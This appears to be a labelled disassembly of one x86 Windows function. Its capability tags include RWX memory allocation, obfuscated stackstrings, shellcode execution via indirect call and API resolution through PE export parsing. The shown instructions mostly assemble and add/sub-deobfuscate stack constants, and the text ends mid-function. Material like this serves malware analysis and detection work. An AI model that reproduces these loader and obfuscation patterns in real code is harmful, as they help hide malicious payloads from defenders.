Function at 0x40d748
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call
Get system information on windows
Manipulate console buffer
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc54
mov eax, dword [0x41c1f0]
xor eax, esp
mov dword [esp + 0xc50], eax
push ebx
push esi
push edi
mov dword [esp + 0x178], 0x64b3cd78
mov dword [esp + 0x208], 0x4f6d3a4f
mov dword [esp + 0x360], 0x1cf916dd
mov dword [esp + 0x19c], 0x4b2c4100
mov dword [esp + 0x180], 0x7cbf3a5f
mov dword [esp + 0x280], 0x56fb4887
mov dword [esp + 0x188], 0x2ab22ed8
mov dword [esp + 0x1c8], 0x49a5358a
mov dword [esp + 0x300], 0x234c57ec
mov dword [esp + 0x190], 0xe14b449
mov dword [esp + 0x98], 0x1212a1f7
mov dword [esp + 0x364], 0x1b584e52
mov dword [esp + 0x140], 0x3e909bea
mov dword [esp + 0x12c], 0x7e8ebf36
mov dword [esp + 0x310], 0x650a6963
mov dword [esp + 0x50], 0x18cec123
mov dword [esp + 0xdc], 0x4e809a7d
mov dword [esp + 0x70], 0x1485282d
mov dword [esp + 0xc8], 0x50754f63
mov dword [esp + 0x2d0], 0x5a61d11d
mov dword [esp + 0x100], 0x481c16fd
mov dword [esp + 0x244], 0x1712eba3
mov dword [esp + 0x24c], 0x497f2850
mov dword [esp + 0x1f8], 0x7ee7583
mov dword [esp + 0x288], 0x3c104daf
mov dword [esp + 0x2d4], 0x273087e
mov dword [esp + 0x320], 0x1e793331
mov dword [esp + 0x78], 0x3c83020f
mov dword [esp + 0xe4], 0x19a4447a
mov dword [esp + 0x198], 0x377b6ef0
mov dword [esp + 0x340], 0x55eda56f
mov dword [esp + 0x134], 0x6259122b
mov dword [esp + 0x254], 0x79624235
mov dword [esp + 0x1a0], 0x5a0b7b97
mov dword [esp + 0x260], 0x6f45810d
mov dword [esp + 0x20], 0x380edcb8
mov dword [esp + 0x13c], 0x16d5c67e
mov dword [esp + 0x2dc], 0x6f8046db
mov dword [esp + 0x144], 0x522493cc
mov dword [esp + 0x290], 0x4e9d149b
mov dword [esp + 0x74], 0x4f0c23bf
mov dword [esp + 0x1a8], 0x317b2f6a
mov dword [esp + 0x34c], 0x4ecd7228
mov dword [esp + 0x240], 0x25bd855a
mov dword [esp + 0x24], 0x4d54e02f
mov dword [esp + 0x2e4], 0x4a776c85
mov dword [esp + 0x7c], 0x500e5d05
mov dword [esp + 0x84], 0x34b272b6
mov dword [esp + 0x35c], 0x61ba3905
mov dword [esp + 0x80], 0x2e12e071
mov dword [esp + 0xa0], 0x21c19317
mov dword [esp + 0x108], 0x4d9e0f84
mov dword [esp + 0x1ec], 0x2ef6e24c
mov dword [esp + 0xd0], 0x37f4a8b2
mov dword [esp + 0x14c], 0x36b45e9
mov dword [esp + 0x1e8], 0x1c50e40e
mov dword [esp + 0x1f4], 0x1e2bebaa
mov dword [esp + 0x154], 0x7c2d04b1
mov dword [esp + 0x308], 0x16495a4e
mov dword [esp + 0x15c], 0x57583dc3
mov dword [esp + 0x1b0], 0x6b633e51
mov dword [esp + 0x1fc], 0x1eded92f
mov dword [esp + 0x8c], 0x784a9fb6
mov dword [esp + 0x1a4], 0x53580b34
mov dword [esp + 0x2c], 0x4b7c1b2f
mov dword [esp + 0x298], 0x721caf9c
mov dword [esp + 0x164], 0x2de55b38
mov dword [esp + 0x228], 0x5b560e91
mov dword [esp + 0xec], 0x6d94ed70
mov dword [esp + 0xd8], 0x32c0487
mov dword [esp + 0x1b8], 0x42d93588
mov dword [esp + 0x148], 0x2a4af5bf
mov dword [esp + 0x25c], 0x1439ed6d
mov dword [esp + 0x1d0], 0x3ca9d5e2
mov dword [esp + 0x2e0], 0x2d11af28
mov dword [esp + 0x94], 0x7727f400
mov dword [esp + 0xf4], 0x507c1d43
mov dword [esp + 0x1ac], 0x1862e50f
mov dword [esp + 0x9c], 0x4b7269c3
mov dword [esp + 0x110], 0x32153ab7
mov dword [esp + 0x2f0], 0x4df46c9
mov dword [esp + 0x210], 0x515c0475
mov dword [esp + 0x264], 0x48eade66
mov dword [esp + 0x1b4], 0x52d346d7
mov dword [esp + 0x34], 0x5f3a1ecc
mov dword [esp + 0xa4], 0x2be78387
mov dword [esp + 0x28], 0x46476f29
mov dword [esp + 0x204], 0x3c871ba6
mov dword [esp + 0x2ec], 0x5c8a711e
mov dword [esp + 0x150], 0x2e2bdfa
mov dword [esp + 0xa8], 0x49dda3e8
mov dword [esp + 0x354], 0x29069a44
mov dword [esp + 0x2f4], 0x1ba79667
mov dword [esp + 0x2c8], 0xa15bf97
mov dword [esp + 0x248], 0x2ee4838c
mov dword [esp + 0x2fc], 0x7d2cc167
mov dword [esp + 0x304], 0x400e58f6
mov dword [esp + 0x20c], 0x7abb7c20
mov dword [esp + 0x30c], 0x6cc1947a
mov dword [esp + 0x26c], 0x7ee6e0d4
mov dword [esp + 0x2a8], 0x4de5c955
mov dword [esp + 0xb0], 0x682f3d69
mov dword [esp + 0x268], 0xd9120db
mov dword [esp + 0x328], 0x19d0a4e6
mov dword [esp + 0x214], 0x56e190b
add dword [esp + 0x178], 0x52361e43
sub dword [esp + 0x178], 0x1e57cfa5
add dword [esp + 0x178], 0x2dff8425
sub dword [esp + 0x178], 0xa128db5
sub dword [esp + 0x178], 0x4411c39e
sub dword [esp + 0x178], 0x2d3c0900
sub dword [esp + 0x178], 0x7671de55
add dword [esp + 0x178], 0x157b4c1f
sub dword [esp + 0x178], 0x32eb9454
add dword [esp + 0x208], 0x33cee853
add dword [esp + 0x208], 0x38399ffa
add dword [esp + 0x208], 0x3ca29609
add dword [esp + 0x208], 0x56a34bf3
add dword [esp + 0x360], 0x7bca9bc6
sub dword [esp + 0x178], 0x68b2522a
sub dword [esp + 0x208], 0x4d4108dc
sub dword [esp + 0x19c], 0x2119ed54
sub dword [esp + 0x188], 0x2ca96b52
add dword [esp + 0x280], 0xaf3e25b
sub dword [esp + 0x360], 0x43847761
sub dword [esp + 0x1c8], 0x1d5e491c
add dword [esp + 0x300], 0x467fd2e8
sub dword [esp + 0x360], 0x442d607
add dword [esp + 0x208], 0x164e24b6
sub dword [esp + 0x98], 0x5d3cb1db
add dword [esp + 0x300], 0x2df81fa4
add dword [esp + 0x1c8], 0x4f565dd1
add dword [esp + 0x188], 0x10fa4878
add dword [esp + 0x178], 0x32881614
sub dword [esp + 0x188], 0x458639d8
sub dword [esp + 0x178], 0x4e50a74d
sub dword [esp + 0x310], 0x141c9e5f
sub dword [esp + 0x360], 0x3efa8ceb
add dword [esp + 0x190], 0x15924125
sub dword [esp + 0x98], 0x153a5771
add dword [esp + 0x98], 0x773918d4
add dword [esp + 0x140], 0x4e8ba301
sub dword [esp + 0x208], 0x31932b9a
sub dword [esp + 0x140], 0x41e32221
add dword [esp + 0x364], 0x6bd1e652
add dword [esp + 0x140], 0x73a9b8a7
add dword [esp + 0x19c], 0x594e041c
add dword [esp + 0x178], 0x164ae613
sub dword [esp + 0x50], 0xbcd7391
sub dword [esp + 0xdc], 0x3e4bf2a5
sub dword [esp + 0x50], 0x2c754108
add dword [esp + 0x50], 0x65bb79c9
add dword [esp + 0x364], 0x245aee4e
sub dword [esp + 0x310], 0x232092eb
add dword [esp + 0x188], 0x61fecc78
add dword [esp + 0x244], 0x2ed9703
add dword [esp + 0x188], 0x3e216414
sub dword [esp + 0x300], 0x76eaae3b
add dword [esp + 0x190], 0x7aacd74a
sub dword [esp + 0xc8], 0x4654afc0
add dword [esp + 0x98], 0x15bf91e3
add dword [esp + 0x2d0], 0x586b95f7
sub dword [esp + 0x70], 0x661ada2a
add dword [esp + 0x360], 0x3c1318d2
sub dword [esp + 0x1f8], 0x1a16ff0f
add dword [esp + 0x188], 0x129883f7
sub dword [esp + 0x98], 0x5760679d
add dword [esp + 0x280], 0x70e6badb
sub dword [esp + 0x300], 0x69e6bc92
sub dword [esp + 0x100], 0x5cbce026
sub dword [esp + 0x2d0], 0x3461f466
add dword [esp + 0x50], 0x2c7f14ee
add dword [esp + 0x300], 0x4aba1abc
sub dword [esp + 0x188], 0xa67b707
add dword [esp + 0x320], 0x4acbf519
add dword [esp + 0x24c], 0xb0f6479
add dword [esp + 0x98], 0x8627233
add dword [esp + 0x300], 0x30a4de67
add dword [esp + 0x19c], 0x23a6239a
add dword [esp + 0x78], 0x2f6227fa
add dword [esp + 0xe4], 0x4c7f4c8e
sub dword [esp + 0x190], 0x706761bd
add dword [esp + 0x19c], 0x1558122c
add dword [esp + 0x78], 0x13a517e7
sub dword [esp + 0x1f8], 0x6e436b4b
sub dword [esp + 0x280], 0x7bbf0c9e
sub dword [esp + 0x280], 0x16f232d9
add dword [esp + 0x280], 0x7f5afc09
add dword [esp + 0x100], 0x23853cf
add dword [esp + 0x50], 0x4187d531
sub dword [esp + 0x78], 0x4ebb1838
sub dword [esp + 0x288], 0x4b721603
sub dword [esp + 0x98], 0x2cd3854a
sub dword [esp + 0x24c], 0x2fb91506
sub dword [esp + 0x2d4], 0x1fc677a5
sub dword [esp + 0x320], 0x21e372fa
add dword [esp + 0x208], 0x54e69c72
sub dword [esp + 0x260], 0x2082d7a9
sub dword [esp + 0x1c8], 0xb17a855
sub dword [esp + 0x280], 0x5894349c
add dword [esp + 0x280], 0xa003e5f
add dword [esp + 0x180], 0x1999cbd2
add dword [esp + 0x364], 0x2810c33b
add dword [esp + 0x288], 0x2adb3759
add dword [esp + 0x2dc], 0x6d55b315
sub dword [esp + 0x300], 0x4e1088d0
add dword [esp + 0x134], 0x70cdbdca
sub dword [esp + 0xe4], 0x6820465a
sub dword [esp + 0x2d4], 0x55968b5c
add dword [esp + 0x254], 0x1dd1fb98
add dword [esp + 0x244], 0x2ec0d1ff
add dword [esp + 0x2d0], 0x4386866e
sub dword [esp + 0xc8], 0x78c85f0f
add dword [esp + 0x24], 0x30f90f3f
sub dword [esp + 0x20], 0x4f07bb30
add dword [esp + 0x300], 0x426be011
sub dword [esp + 0x290], 0x51b17266
add dword [esp + 0x180], 0xb43f3cf
sub dword [esp + 0x74], 0x135eb6aa
add dword [esp + 0x74], 0x68af6afc
add dword [esp + 0xdc], 0x3308487f
sub dword [esp + 0x180], 0x31169371
add dword [esp + 0x208], 0x640d6bc2
sub dword [esp + 0x70], 0x5186cac2
add dword [esp + 0x13c], 0x7e4253ce
add dword [esp + 0x178], 0x4517355b
add dword [esp + 0x280], 0x26ac293a
sub dword [esp + 0x288], 0x6f9dd937
sub dword [esp + 0xdc], 0x4bfd6089
sub dword [esp + 0x280], 0x7535dd0f
sub dword [esp + 0x19c], 0x2696b9d9
sub dword [esp + 0x70], 0x3dbe6813
add dword [esp + 0x320], 0x21c09b75
sub dword [esp + 0x240], 0x4ae9d533
sub dword [esp + 0x310], 0x1b316469
add dword [esp + 0x280], 0x2e5177ab
add dword [esp + 0xe4], 0x65e12e10
add dword [esp + 0x290], 0x79be1b35
sub dword [esp + 0x35c], 0x1d156732
add dword [esp + 0x1a0], 0x51285a55
add dword [esp + 0x1e8], 0x444687f1
sub dword [esp + 0x260], 0x3d25b20b
sub dword [esp + 0x290], 0x129b9411
add dword [esp + 0x100], 0x3e3d6213
sub dword [esp + 0x78], 0x14cb4eef
add dword [esp + 0x7c], 0x3def8c20
add dword [esp + 0x154], 0x589acfdd
add dword [esp + 0x308], 0x3e50b036
sub dword [esp + 0xa0], 0x7e149917
sub dword [esp + 0x180], 0x25365b1d
add dword [esp + 0x190], 0x32fa0599
add dword [esp + 0x35c], 0x6d0c727b
sub dword [esp + 0x154], 0x4122a257
sub dword [esp + 0x1f4], 0x68e033dc
add dword [esp + 0x310], 0x3bd92c18
add dword [esp + 0x340], 0x551e2dd4
sub dword [esp + 0x100], 0x42b6a569
sub dword [esp + 0x1fc], 0x1d68f226
add dword [esp + 0x290], 0x27f7f33d
sub dword [esp + 0x154], 0x71a81df7
sub dword [esp + 0x108], 0x3a59dae7
sub dword [esp + 0x1ec], 0x7d270aef
sub dword [esp + 0x208], 0x174e6731
add dword [esp + 0x2d4], 0x36a6e585
add dword [esp + 0xa0], 0x1dba3028
sub dword [esp + 0x1a4], 0x440284f7
sub dword [esp + 0x2dc], 0x37b6dc4f
add dword [esp + 0x2dc], 0x1814db30
add dword [esp + 0x34c], 0x19cd310e
sub dword [esp + 0x154], 0x66bf0e40
add dword [esp + 0x14c], 0x28538a61
add dword [esp + 0xd0], 0x4afb061b
sub dword [esp + 0x1ec], 0xa728096
add dword [esp + 0x100], 0x48d7101c
sub dword [esp + 0x20], 0x5dbad3d6
sub dword [esp + 0x134], 0x1dfb70ea
add dword [esp + 0x260], 0x19e2b13a
sub dword [esp + 0xd0], 0x5614ba41
add dword [esp + 0x144], 0x5998fc77
add dword [esp + 0x7c], 0x5746d598
add dword [esp + 0x7c], 0x610a0bdf
sub dword [esp + 0xdc], 0x59ffafde
add dword [esp + 0x14c], 0x706fb6f
sub dword [esp + 0x364], 0x27a1d32b
sub dword [esp + 0x84], 0x5c8b6c00
sub dword [esp + 0x1f8], 0x4a458377
sub dword [esp + 0x308], 0x75cc388e
sub dword [esp + 0x98], 0x51221114
add dword [esp + 0x198], 0x6d7ceaae
add dword [esp + 0x1c8], 0xa755941
sub dword [esp + 0x178], 0x4dd19f0b
sub dword [esp + 0x310], 0x13d34677
sub dword [esp + 0x2dc], 0x423c67bd
sub dword [esp + 0x80], 0x1482b956
add dword [esp + 0x19c], 0x678d6a5c
sub dword [esp + 0x2e4], 0x212028ac
add dword [esp + 0x13c], 0x4a11508e
sub dword [esp + 0xdc], 0x998c6b
sub dword [esp + 0x140], 0xdad5b93
add dword [esp + 0x198], 0x1172a2a2
add dword [esp + 0x260], 0x46bb9c35
sub dword [esp + 0x1f8], 0x2753a911
sub dword [esp + 0x74], 0x4bd5b23f
add dword [esp + 0x100], 0x7433f36a
sub dword [esp + 0x180], 0x12eda38a
sub dword [esp + 0x14c], 0x7c3379af
sub dword [esp + 0x19c], 0x58b0c2e5
add dword [esp + 0x360], 0x666dc6d3
sub dword [esp + 0x280], 0x23c6c9a9
add dword [esp + 0x2c], 0x7227cb5
sub dword [esp + 0x78], 0x1da9b705
add dword [esp + 0x84], 0x3af458c4
add dword [esp + 0x300], 0xad3b1b0
sub dword [esp + 0x74], 0x21ef79c2
sub dword [esp + 0x12c], 0x1f9310b6
sub dword [esp + 0x190], 0x20820771
sub dword [esp + 0x208], 0x1f438353
sub dword [esp + 0xd8], 0x6055a4f1
add dword [esp + 0x1c8], 0x330f7395
add dword [esp + 0x24c], 0x3153d6c4
sub dword [esp + 0x264], 0x33fd3c19
sub dword [esp + 0x188], 0x61b362a5
sub dword [esp + 0x1d0], 0x6ebcd29f
add dword [esp + 0xec], 0x76729ab
sub dword [esp + 0x2e0], 0x63d1fc7d
add dword [esp + 0x1a0], 0x29866e59
add dword [esp + 0x80], 0x6df21c99
sub dword [esp + 0xf4], 0x53a83070
sub dword [esp + 0xd0], 0x239485c4
add dword [esp + 0x20], 0x6000a9eb
add dword [esp + 0x264], 0x4558a067
add dword [esp + 0x94], 0x22aca2d4
add dword [esp + 0x100], 0x5f727faf
sub dword [esp + 0x180], 0x9cc5925
add dword [esp + 0x1f4], 0x74313cde
sub dword [esp + 0x298], 0x253ba762
add dword [esp + 0x144], 0x5a076868
sub dword [esp + 0x280], 0x6c952431
sub dword [esp + 0x228], 0x50e065cf
add dword [esp + 0x108], 0x4e8bdc6
add dword [esp + 0x308], 0x7fc74687
sub dword [esp + 0x134], 0x4759615c
sub dword [esp + 0x1ac], 0x14f516ba
add dword [esp + 0x154], 0x41f22107
sub dword [esp + 0x2ec], 0x382d0fc8
add dword [esp + 0x340], 0x84bdf30
sub dword [esp + 0xec], 0x567210a2
add dword [esp + 0x320], 0x648ac737
add dword [esp + 0x310], 0xefdd3c7
sub dword [esp + 0x19c], 0x6fb8fadf
sub dword [esp + 0x24], 0x49c22f4a
add dword [esp + 0x84], 0x14f7d1f6
add dword [esp + 0x204], 0x3cb0ba6a
sub dword [esp + 0x310], 0x6cb8884d
sub dword [esp + 0xa0], 0x48cdd74
add dword [esp + 0x228], 0x67e8d4f6
add dword [esp + 0x228], 0x78d82933
add dword [esp + 0x354], 0x6e80c34a
sub dword [esp + 0x340], 0x68859216
add dword [esp + 0x148], 0xed82a8f
sub dword [esp + 0xec], 0x59b935b5
sub dword [esp + 0x19c], 0x548663f4
add dword [esp + 0x288], 0x91e7204
add dword [esp + 0x144], 0x13dd1ba9
add dword [esp + 0x14c], 0x6991432c
sub dword [esp + 0x80], 0x1fd34dc0
sub dword [esp + 0xa4], 0x4b945431
sub dword [esp + 0x34], 0x1e1e60c4
add dword [esp + 0x308], 0x55053725
sub dword [esp + 0x1f4], 0x5a9aece6
add dword [esp + 0x150], 0x212db8cd
sub dword [esp + 0x298], 0x1bd21c6f
sub dword [esp + 0x1b0], 0x1214601f
sub dword [esp + 0xe4], 0x5f4dbaa5
add dword [esp + 0x34], 0x95e0de6
sub dword [esp + 0x9c], 0x294e5137
sub dword [esp + 0x1e8], 0x693e9c33
sub dword [esp + 0x154], 0x697def4a
add dword [esp + 0x240], 0x7d4acd70
add dword [esp + 0x190], 0x37cb4d2b
add dword [esp + 0x2c8], 0x653e73dc
add dword [esp + 0x354], 0x48d323ef
sub dword [esp + 0x74], 0x751a61af
sub dword [esp + 0x244], 0x6e279547
sub dword [esp + 0xe4], 0x27775ddc
sub dword [esp + 0x2e4], 0x29d6d20d
add dword [esp + 0x300], 0x522be9fe
sub dword [esp + 0x2ec], 0x6b6d062f
sub dword [esp + 0x150], 0x55147f27
add dword [esp + 0x178], 0x7fb0d67b
add dword [esp + 0x2c], 0x42a972bc
sub dword [esp + 0x2fc], 0x43418af8
sub dword [esp + 0x210], 0xa5d52e6
add dword [esp + 0x210], 0x3c52b5af
sub dword [esp + 0x28], 0x584b6d80
sub dword [esp + 0x1b8], 0x557cb1e2
sub dword [esp + 0x2c], 0x4e1abbdd
sub dword [esp + 0x148], 0x32bbcad2
sub dword [esp + 0x2a8], 0x60f159b3
add dword [esp + 0x1f4], 0xc39f22d
sub dword [esp + 0xd8], 0x542eaacc
sub dword [esp + 0x308], 0x36ab30ec
sub dword [esp + 0x110], 0x20026f8f
sub dword [esp + 0xec], 0x87e35ce
sub dword [esp + 0x100], 0xbca3dc7
sub dword [esp + 0x214], 0x7989031b
add dword [esp + 0x204], 0x5c548bb0
add dword [esp + 0x25c], 0x2d2b5ba0
sub dword [esp + 0x13c], 0x2cce5945
sub dword [esp + 0x1b8], 0x292070f2
sub dword [esp + 0x30c], 0x5a5f36c1
sub dword [esp + 0x84], 0x5caeec73
add dword [esp + 0x154], 0x4f7161d9
sub dword [esp + 0x34c], 0x18ea6938
sub dword [esp + 0xb0], 0x56e4470a
add dword [esp + 0x2ec], 0x63fd170f
add dword [esp + 0x2f4], 0x31daeb9c
add dword [esp + 0x14c], 0x7db27d3e
sub dword [esp + 0x268], 0x674dde6
add dword [esp + 0x290], 0x44328d70
sub dword [esp + 0x12c], 0x3abbc1e6
sub dword [esp + 0x140], 0x55aa7477
add dword [esp + 0x1e8], 0x61853702
sub dword [esp + 0x8c], 0x54f25954
sub dword [esp + 0x1ac], 0xf7ac730
sub dword [esp + 0x210], 0x24aa163d
sub dword [esp + 0x1a8], 0x7e22ca09
add dword [esp + 0x2d4], 0x2f9aa571
sub dword [esp + 0x304], 0x7cfeb410
sub dword [esp + 0x15c], 0x7af84a76
add dword [esp + 0x164], 0x1bc9f97f
add dword [esp + 0x328], 0x38e2b5f2
add dword [esp + 0x84], 0x6f136ffb
add dword [esp + 0x13c], 0x461b2724
add dword [esp + 0x228], 0x2900d809
sub dword [esp + 0x298], 0x605f7f57
sub dword [esp + 0x26c], 0x1c9fa81e
add dword [esp + 0x35c], 0x3bd8883c
add dword [esp + 0x20c], 0x13f84097
sub dword [esp + 0x2a8], 0x5ebf16ca
sub dword [esp + 0x2f0], 0x1e4211ae
add dword [esp + 0x148], 0x1ed38463
sub dword [esp + 0x35c], 0x59157a17
sub dword [esp + 0x248], 0x7672bdd1
sub dword [esp + 0xa8], 0x5be10162
add dword [esp + 0x308], 0x63dc1d32
add dword [esp + 0x354], 0x954d3ab
add dword [esp + 0x1b4], 0x3e698354
sub dword [esp + 0x214], 0x260944f8
mov dword [esp + 0xe0], 0x5cb55f3b
mov dword [esp + 0x3c], 0x520744ae
mov dword [esp + 0x1c0], 0x66d25fd2
mov dword [esp + 0x274], 0x3eee906f
mov dword [esp + 0x314], 0x5fb5b8eb
mov dword [esp + 0x44], 0x57482571
mov dword [esp + 0x218], 0x7e48284d
mov dword [esp + 0x16c], 0x2a91882
mov dword [esp + 0xac], 0x3892c883
mov dword [esp + 0x31c], 0x78664d6f
mov dword [esp + 0x118], 0x4195b532
mov dword [esp + 0x27c], 0x21f5f91b
mov dword [esp + 0x174], 0x349fe8d3
mov dword [esp + 0xb4], 0x7b191846
mov dword [esp + 0x330], 0x4c054e6
mov dword [esp + 0x1bc], 0x4441b087
mov dword [esp + 0x1c4], 0x51a19f63
mov dword [esp + 0x21c], 0x4cfbc34
mov dword [esp + 0x17c], 0x7f167f2c
mov dword [esp + 0x4c], 0x3381e20b
mov dword [esp + 0xb8], 0x5e2b1ba7
mov dword [esp + 0x30], 0x48b1ffac
mov dword [esp + 0x1d8], 0x19105213
mov dword [esp + 0x120], 0x210d9bf1
mov dword [esp + 0x350], 0x59a3bc03
mov dword [esp + 0x230], 0x222081bb
mov dword [esp + 0x224], 0x6a771746
mov dword [esp + 0x184], 0x16220225
mov dword [esp + 0x2a0], 0x655d149c
mov dword [esp + 0xe8], 0x2f28ba48
mov dword [esp + 0x58], 0x35f6602a
mov dword [esp + 0x318], 0x17d1fc85
mov dword [esp + 0x60], 0x34189330
mov dword [esp + 0x158], 0x3e4ece26
mov dword [esp + 0x284], 0x3739a576
mov dword [esp + 0x250], 0x71667ed7
mov dword [esp + 0x128], 0x662bcbc7
mov dword [esp + 0x324], 0x39680a9
mov dword [esp + 0x18c], 0x5be3e390
mov dword [esp + 0x1cc], 0x6129c73a
mov dword [esp + 0x2d8], 0x79fcf98a
mov dword [esp + 0x2e8], 0x1e5730f8
mov dword [esp + 0x28c], 0x22cd207c
mov dword [esp + 0x38], 0x10f36b32
mov dword [esp + 0x32c], 0x5b8ef4c6
mov dword [esp + 0x294], 0x29c72290
mov dword [esp + 0x130], 0x22f6028a
mov dword [esp + 0x200], 0x68070f01
mov dword [esp + 0x334], 0x7fb71171
mov dword [esp + 0x338], 0x39377b8c
mov dword [esp + 0x1f0], 0x47d08e93
mov dword [esp + 0x54], 0xbc0740
mov dword [esp + 0x160], 0x713b46c7
mov dword [esp + 0x1d4], 0x426693cb
mov dword [esp + 0x1dc], 0x6c9648a8
mov dword [esp + 0xfc], 0x3684b51b
mov dword [esp + 0x104], 0x7c9e6afb
mov dword [esp + 0x348], 0xb4f7b0f
mov dword [esp + 0x258], 0x71335300
mov dword [esp + 0x194], 0x2b0c07ca
mov dword [esp + 0x270], 0xea32e72
mov dword [esp + 0x29c], 0x3a04ff47
mov dword [esp + 0x168], 0xb80db16
mov dword [esp + 0xc0], 0x5cc7c885
mov dword [esp + 0x10c], 0x4974c5b8
mov dword [esp + 0x40], 0x408cee
mov dword [esp + 0x1c], 0x148395fa
mov dword [esp + 0x114], 0x3fdc4fbc
mov dword [esp + 0x11c], 0x2c398ffc
mov dword [esp + 0x88], 0x6904db5c
mov dword [esp + 0x2a4], 0x273854ed
mov dword [esp + 0x2f8], 0x2c690201
mov dword [esp + 0x2c0], 0x432e0349
mov dword [esp + 0xf0], 0x3d782dd8
mov dword [esp + 0x2ac], 0x2050ac20
mov dword [esp + 0x1e4], 0x1dc2f465
mov dword [esp + 0x5c], 0x3a8f605e
mov dword [esp + 0x138], 0x1c153ec6
mov dword [esp + 0x33c], 0x133aea97
mov dword [esp + 0x2b4], 0x7ea59181
mov dword [esp + 0x1e0], 0x21d5c3c8
mov dword [esp + 0x358], 0x3681009b
mov dword [esp + 0x2bc], 0x625ff06
mov dword [esp + 0x2c4], 0x336fd978
mov dword [esp + 0x238], 0x441e55a4
mov dword [esp + 0x22c], 0x6248444b
mov dword [esp + 0x124], 0x6be18c45
mov dword [esp + 0x90], 0x7c536e32
mov dword [esp + 0x234], 0x29cb84cf
mov dword [esp + 0x68], 0x1eaa0515
mov dword [esp + 0xbc], 0x5aadce9d
mov dword [esp + 0x170], 0x7bdd73bf
mov dword [esp + 0x64], 0x63d15f99
mov dword [esp + 0xc4], 0x6416f4ab
mov dword [esp + 0x220], 0x3d2bf23a
mov dword [esp + 0x344], 0x5f38488b
mov dword [esp + 0xcc], 0x62f8e85e
mov dword [esp + 0x6c], 0x3e92b980
mov dword [esp + 0x23c], 0x5adf77ca
mov dword [esp + 0x48], 0x732b6854
mov dword [esp + 0xd4], 0x3ec2c90e
mov dword [esp + 0x2b8], 0x6e109517
mov dword [esp + 0xf8], 0x2e9ec213
mov dword [esp + 0x278], 0x3ad128ce
mov dword [esp + 0x2b0], 0x57168826
mov dword [esp + 0x2cc], 0x1857ecbf
add dword [esp + 0x1c0], 0x5435d38d
add dword [esp + 0x1c0], 0x4e9b92dc
add dword [esp + 0xe0], 0x18207efb
add dword [esp + 0x1c0], 0x74d718d2
add dword [esp + 0x274], 0x9d7dde2
add dword [esp + 0x44], 0x78495869
sub dword [esp + 0x218], 0x7927e1ca
add dword [esp + 0x44], 0x3c07659c
sub dword [esp + 0x274], 0x7200103c
add dword [esp + 0xe0], 0xed1ddcf
sub dword [esp + 0x3c], 0x40059850
sub dword [esp + 0x31c], 0x32063923
sub dword [esp + 0xac], 0x1b404ca1
sub dword [esp + 0x44], 0x47f3a286
sub dword [esp + 0x44], 0x3e9b9b4e
add dword [esp + 0xb4], 0x263b4bb4
add dword [esp + 0x31c], 0x5086c3e
sub dword [esp + 0xb4], 0x72571349
sub dword [esp + 0x31c], 0x708295ff
add dword [esp + 0x330], 0x5be6b18d
add dword [esp + 0x174], 0x4bf83254
sub dword [esp + 0x16c], 0x28c37b70
sub dword [esp + 0x218], 0x62a44571
sub dword [esp + 0x3c], 0x4eff7c69
add dword [esp + 0x330], 0x1a88009a
add dword [esp + 0x1d8], 0x156ccccc
add dword [esp + 0x120], 0x5b5dd43c
add dword [esp + 0xac], 0x4d6fa1c
add dword [esp + 0x21c], 0x6cf5f910
sub dword [esp + 0x120], 0x49ff0c8f
add dword [esp + 0x120], 0x4837dcae
sub dword [esp + 0x27c], 0x340e1f3
sub dword [esp + 0x350], 0x5aa079c1
sub dword [esp + 0x16c], 0x8b94010
add dword [esp + 0xac], 0x37292a
sub dword [esp + 0x184], 0x305b8d20
sub dword [esp + 0x330], 0x1e1ab46d
sub dword [esp + 0xac], 0xd9343ba
sub dword [esp + 0x350], 0x6b1871d1
sub dword [esp + 0x330], 0x76ad60ea
add dword [esp + 0x1bc], 0x5a483956
add dword [esp + 0x1c4], 0x2fbe3202
sub dword [esp + 0xe8], 0x1458c731
sub dword [esp + 0x350], 0x5624a22b
sub dword [esp + 0x3c], 0x10dddb9c
sub dword [esp + 0xb8], 0x53953ed6
sub dword [esp + 0xb8], 0x21641a27
sub dword [esp + 0x218], 0x1624ab93
add dword [esp + 0x230], 0x17be8bd8
add dword [esp + 0x314], 0x56071470
add dword [esp + 0x27c], 0x3a30534b
sub dword [esp + 0x17c], 0x262179f6
sub dword [esp + 0x1c0], 0x72b5b836
sub dword [esp + 0x128], 0x334f3fe0
add dword [esp + 0x60], 0x12abb4ee
add dword [esp + 0x350], 0x741e26c3
add dword [esp + 0x1c4], 0x6406e66e
add dword [esp + 0xac], 0xda4fa48
add dword [esp + 0x2a0], 0x381cfa64
add dword [esp + 0x120], 0xe49cc88
sub dword [esp + 0x30], 0x49fcda0f
sub dword [esp + 0x1d8], 0x3eb90891
add dword [esp + 0xac], 0x5d75f69b
sub dword [esp + 0x230], 0x216cf009
sub dword [esp + 0xe0], 0x79c73e55
add dword [esp + 0xac], 0x6e57bff6
sub dword [esp + 0x17c], 0x32ec2947
add dword [esp + 0x128], 0x7c1dc2b5
sub dword [esp + 0x318], 0x447e1c18
sub dword [esp + 0x174], 0x68578b2f
sub dword [esp + 0x16c], 0x48d0b2e2
sub dword [esp + 0x158], 0x7a30c155
add dword [esp + 0x318], 0xc5adaae
sub dword [esp + 0x330], 0x1d3e0408
add dword [esp + 0x120], 0x7d9d800b
sub dword [esp + 0x174], 0x4b999853
sub dword [esp + 0x250], 0x26eb8bd2
sub dword [esp + 0x4c], 0x70de29ca
add dword [esp + 0x1c4], 0x358d7a75
add dword [esp + 0x120], 0x5aefcb8e
sub dword [esp + 0x18c], 0x12a408cb
sub dword [esp + 0x4c], 0x55fd77db
add dword [esp + 0x218], 0x6de1ed4e
sub dword [esp + 0x274], 0x33c61563
add dword [esp + 0x120], 0x294c4017
add dword [esp + 0x1d8], 0x416894ec
add dword [esp + 0x330], 0x162ce970
add dword [esp + 0x1bc], 0x488733e1
sub dword [esp + 0x18c], 0x57e905b5
sub dword [esp + 0x330], 0x7c7f9e57
add dword [esp + 0x32c], 0x341214
sub dword [esp + 0x200], 0x58ce1980
sub dword [esp + 0x16c], 0x2fbd63ec
sub dword [esp + 0x1cc], 0x24a89954
sub dword [esp + 0x314], 0x5ed34f6c
add dword [esp + 0x27c], 0x772b2a84
sub dword [esp + 0x21c], 0x236a9360
add dword [esp + 0x250], 0x5b07f54
sub dword [esp + 0xe0], 0x95f8b10
add dword [esp + 0xe0], 0x58ed167c
add dword [esp + 0x4c], 0x1121a598
sub dword [esp + 0x274], 0x422364fa
add dword [esp + 0x27c], 0x56a3337d
